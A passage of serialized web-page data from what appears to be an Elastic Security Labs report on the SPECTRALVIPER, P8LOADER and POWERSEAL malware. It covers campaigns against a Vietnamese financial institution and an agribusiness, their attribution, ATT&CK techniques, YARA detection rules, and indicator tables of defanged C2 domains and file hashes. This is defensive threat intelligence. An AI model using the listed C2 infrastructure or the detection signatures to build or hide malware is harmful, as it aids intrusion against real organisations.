Vietnam, and conducting business primarily within Vietnam.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"campaign-analysis\",children:\"Campaign analysis\"}),`\n`,(0,i.jsx)(e.p,{children:\"The overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"These SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( \",(0,i.jsx)(e.strong,{children:\"\\\\.\\\\pipe\\\\ydZb0bIrT\"}),\" ).\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image18.jpg\",alt:\"SPECTRALVIPER coresident on a PIPEDANCE-infected host\",width:\"694\",height:\"92\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This activity appears to be a handoff of access or swapping out of one tool for another.\"}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsxs)(e.p,{children:[\"If you\\u2019re interested in a detailed breakdown of the PIPEDANCE malware, check out our \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance\",rel:\"nofollow\",children:\"previous research\"}),\" and stay tuned, more to come.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Post-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Domains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Domain:\"}),(0,i.jsx)(e.th,{children:\"Created:\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"stablewindowsapp[.]com\"}),(0,i.jsx)(e.td,{children:\"2022-02-10\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"webmanufacturers[.]com\"}),(0,i.jsx)(e.td,{children:\"2022-06-10\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"toppaperservices[.]com\"}),(0,i.jsx)(e.td,{children:\"2022-12-15\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"hosting-wordpress-services[.]com\"}),(0,i.jsx)(e.td,{children:\"2023-03-15\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"appointmentmedia[.]com\"}),(0,i.jsx)(e.td,{children:\"2023-04-26\"})]})]})]})}),`\n`,(0,i.jsxs)(e.p,{children:[\"GEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let\\u2019s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of \",(0,i.jsx)(e.strong,{children:\"appointmentmedia[.]com\"}),\", this campaign could still be ongoing with new domains being registered for future intrusions.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"campaign-associations\",children:\"Campaign associations\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.\"}),`\n`,(0,i.jsx)(e.p,{children:\"As stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam\\u2019s food security. As a data point, in March of 2023, Vietnam\\u2019s Prime Minister \",(0,i.jsx)(e.a,{href:\"https://apps.fas.usda.gov/newgainapi/api/Report/DownloadReportByFileName?fileName=Vietnam%20Issues%20National%20Action%20Plan%20on%20Food%20Systems%20Transformation%20toward%20Transparency%20Responsibility%20and%20Sustainability%20by%202030_Hanoi_Vietnam_VM2023-0017.pdf\",rel:\"nofollow\",children:\"approved\"}),\" the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam\\u2019s strategic objectives.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"In addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.\"}),`\n`,(0,i.jsx)(e.p,{children:\"A threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"diamond-model\",children:\"Diamond model\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security utilizes the \",(0,i.jsx)(e.a,{href:\"https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf\",rel:\"nofollow\",children:\"Diamond Model\"}),\" to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-charms-spectralviper/image12.png\",alt:\"REF2754 Diamond Model\",width:\"1440\",height:\"942\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"observed-adversary-tactics-and-techniques\",children:\"Observed adversary tactics and techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0001\",rel:\"nofollow\",children:\"Initial access\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005\",rel:\"nofollow\",children:\"Defense evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0008/\",rel:\"nofollow\",children:\"Lateral movement\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009\",rel:\"nofollow\",children:\"Collection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and control\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"techniques--sub-techniques\",children:\"Techniques / Sub techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1592/\",rel:\"nofollow\",children:\"Gather host information\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1590/\",rel:\"nofollow\",children:\"Gather victim network information\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1135/\",rel:\"nofollow\",children:\"Network share discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1018/\",rel:\"nofollow\",children:\"Remote system discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1083/\",rel:\"nofollow\",children:\"File and directory discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1057/\",rel:\"nofollow\",children:\"Process discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1007/\",rel:\"nofollow\",children:\"System service discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1033/\",rel:\"nofollow\",children:\"System owner/user discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"Process injection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1036/\",rel:\"nofollow\",children:\"Masquerading\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1071/001/\",rel:\"nofollow\",children:\"Application layer protocol: Web protocols\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1134/003/\",rel:\"nofollow\",children:\"Access Token Manipulation: Make and Impersonate Token\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,i.jsx)(e.h3,{id:\"preventions\",children:\"Preventions\"}),`\n`,(0,i.jsx)(e.p,{children:\"All of the malware discussed in this research publication have protections included in Elastic Defend.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SpectralViper.yar\",rel:\"nofollow\",children:\"Windows.Trojan.SpectralViper\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PowerSeal.yar\",rel:\"nofollow\",children:\"Windows.Trojan.PowerSeal\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_P8Loader.yar\",rel:\"nofollow\",children:\"Windows.Trojan.P8Loader\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_SpectralViper_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-04-13\"\n last_modified = \"2023-05-26\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"SpectralViper\"\n threat_name = \"Windows.Trojan.SpectralViper\"\n reference_sample = \"7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }\n $a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }\n $a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }\n $a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }\n $a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }\n $a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }\n $a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }\n $a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }\n condition:\n 5 of them\n}\n`})}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_SpectralViper_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-05-10\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"SpectralViper\"\n threat_name = \"Windows.Trojan.SpectralViper\"\n reference_sample = \"d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }\n $a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }\n $a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }\n $s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }\n $s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }\n $s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }\n condition:\n 2 of ($a*) or any of ($s*)\n}\n`})}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_PowerSeal_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-03-16\"\n last_modified = \"2023-05-26\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"PowerSeal\"\n threat_name = \"Windows.Trojan.PowerSeal\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = \"PowerSeal.dll\" wide fullword\n $a2 = \"InvokePs\" ascii fullword\n $a3 = \"amsiInitFailed\" wide fullword\n $a4 = \"is64BitOperatingSystem\" ascii fullword\n condition:\n all of them\n}\n`})}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_PowerSeal_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-05-10\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"PowerSeal\"\n threat_name = \"Windows.Trojan.PowerSeal\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = \"[+] Loading PowerSeal\"\n $a2 = \"[!] Failed to exec PowerSeal\"\n $a3 = \"AppDomain: unable to get the name!\"\n condition:\n 2 of them\n}\n`})}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_P8Loader {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-04-13\"\n last_modified = \"2023-05-26\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"P8Loader\"\n threat_name = \"Windows.Trojan.P8Loader\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = \"\\\\t[+] Create pipe direct std success\\\\n\" fullword\n $a2 = \"\\\\tPEAddress: %p\\\\n\" fullword\n $a3 = \"\\\\tPESize: %ld\\\\n\" fullword\n $a4 = \"DynamicLoad(%s, %s) %d\\\\n\" fullword\n $a5 = \"LoadLibraryA(%s) FAILED in %s function, line %d\" fullword\n $a6 = \"\\\\t[+] No PE loaded on memory\\\\n\" wide fullword\n $a7 = \"\\\\t[+] PE argument: %ws\\\\n\" wide fullword\n $a8 = \"LoadLibraryA(%s) FAILED in %s function, line %d\" fullword\n condition:\n 5 of them\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/hunting-memory\",rel:\"nofollow\",children:\"https://www.elastic.co/security-labs/hunting-memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector\",rel:\"nofollow\",children:\"https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance\",rel:\"nofollow\",children:\"https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/\",rel:\"nofollow\",children:\"https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide\",rel:\"nofollow\",children:\"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/spectralviper\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Observable\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Name\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"56d2d05988b6c23232b013b38c49b7a9143c6649d81321e542d19ae46f4a4204\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"-\"}),(0,i.jsx)(e.td,{children:\"SPECTRALVIPER Related to 1.dll below\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"1.dll\"}),(0,i.jsx)(e.td,{children:\"SPECTRALVIPER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"asdgb.exe\"}),(0,i.jsx)(e.td,{children:\"SPECTRALVIPER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"4e3a88cf00e0b4718e7317a37297a185ff35003192e5832f5cf3020c4fc45966\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"Settings.db\"}),(0,i.jsx)(e.td,{children:\"SPECTRALVIPER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"7b5e56443812eed76a94077763c46949d1e49cd7de79cde029f1984e0d970644\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"Microsoft.MicrosoftEdge_8wekyb3d8bbwe.pkg\"}),(0,i.jsx)(e.td,{children:\"SPECTRALVIPER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"5191fe222010ba7eb589e2ff8771c3a75ea7c7ffc00f0ba3f7d716f12010dd96\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"UpdateConfig.json\"}),(0,i.jsx)(e.td,{children:\"SPECTRALVIPER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"4775fc861bc2685ff5ca43535ec346495549a69891f2bf45b1fcd85a0c1f57f7\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"Microsoft.OneDriveUpdatePackage.mca\"}),(0,i.jsx)(e.td,{children:\"SPECTRALVIPER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"2482c7ececb23225e090af08feabc8dec8d23fe993306cb1a1f84142b051b621\"}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"ms-certificates.sst\"}),(0,i.jsx)(e.td,{children:\"SPECTRALVIPER\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"stablewindowsapp[.]com\"}),(0,i.jsx)(e.td,{children:\"Domain\"}),(0,i.jsx)(e.td,{children:\"n/a\"}),(0,i.jsx)(e.td,{children:\"C2\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"webmanufacturers[.]com\"}),(0,i.jsx)(e.td,{children:\"Domain\"}),(0,i.jsx)(e.td,{children:\"n/a\"}),(0,i.jsx)(e.td,{children:\"C2\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"toppaperservices[.]com\"}),(0,i.jsx)(e.td,{children:\"Domain\"}),(0,i.jsx)(e.td,{children:\"n/a\"}),(0,i.jsx)(e.td,{children:\"C2\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"hosting-wordpress-services[.]com\"}),(0,i.jsx)(e.td,{children:\"Domain\"}),(0,i.jsx)(e.td,{children:\"n/a\"}),(0,i.jsx)(e.td,{children:\"C2\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"appointmentmedia[.]com\"}),(0,i.jsx)(e.td,{children:\"Domain\"}),(0,i.jsx)(e.td,{children:\"n/a\"}),(0,i.jsx)(e.td,{children:\"C2\"})]})]})]})})]})}function v(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(d,n)})):d(n)}var P=v;return y(A);})();\n;return Component;"},"_id":"articles/elastic-charms-spectralviper.mdx","_raw":{"sourceFilePath":"articles/elastic-charms-spectralviper.mdx","sourceFileName":"elastic-charms-spectralviper.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/elastic-charms-spectralviper"},"type":"Article","imageUrl":"/assets/images/elastic-charms-spectralviper/photo-edited-10@2x.jpg","readingTime":"35 min read","series":"","url":"/elastic-charms-spectralviper","headings":[{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Execution flow","href":"#execution-flow"},{"level":2,"title":"SPECTRALVIPER code analysis","href":"#spectralviper-code-analysis"},{"level":3,"title":"Overview","href":"#overview"},{"level":3,"title":"Execution flow","href":"#execution-flow-1"},{"level":4,"title":"Launch","href":"#launch"},{"level":4,"title":"Pipe mode","href":"#pipe-mode"},{"level":4,"title":"HTTP mode","href":"#http-mode"},{"level":3,"title":"Commands","href":"#commands"},{"level":3,"title":"Defense evasion","href":"#defense-evasion"},{"level":4,"title":"Code obfuscation","href":"#code-obfuscation"},{"level":4,"title":"String obfuscation","href":"#string-obfuscation"},{"level":3,"title":"Summary","href":"#summary"},{"level":2,"title":"P8LOADER","href":"#p8loader"},{"level":3,"title":"Overview","href":"#overview-1"},{"level":3,"title":"Discovery","href":"#discovery"},{"level":3,"title":"Execution flow","href":"#execution-flow-2"},{"level":3,"title":"Defense evasion","href":"#defense-evasion-1"},{"level":4,"title":"String obfuscation","href":"#string-obfuscation-1"},{"level":3,"title":"Summary","href":"#summary-1"},{"level":2,"title":"POWERSEAL code analysis","href":"#powerseal-code-analysis"},{"level":3,"title":"Overview","href":"#overview-2"},{"level":3,"title":"Defense evasion","href":"#defense-evasion-2"},{"level":3,"title":"Launch PowerShell","href":"#launch-powershell"},{"level":3,"title":"Summary","href":"#summary-2"},{"level":2,"title":"Campaign and adversary modeling","href":"#campaign-and-adversary-modeling"},{"level":3,"title":"Overview","href":"#overview-3"},{"level":3,"title":"Victimology","href":"#victimology"},{"level":3,"title":"Campaign analysis","href":"#campaign-analysis"},{"level":3,"title":"Campaign associations","href":"#campaign-associations"},{"level":3,"title":"Diamond model","href":"#diamond-model"},{"level":2,"title":"Observed adversary tactics and techniques","href":"#observed-adversary-tactics-and-techniques"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques / Sub techniques","href":"#techniques--sub-techniques"},{"level":2,"title":"Detection logic","href":"#detection-logic"},{"level":3,"title":"Preventions","href":"#preventions"},{"level":3,"title":"YARA","href":"#yara"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Observations","href":"#observations"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of 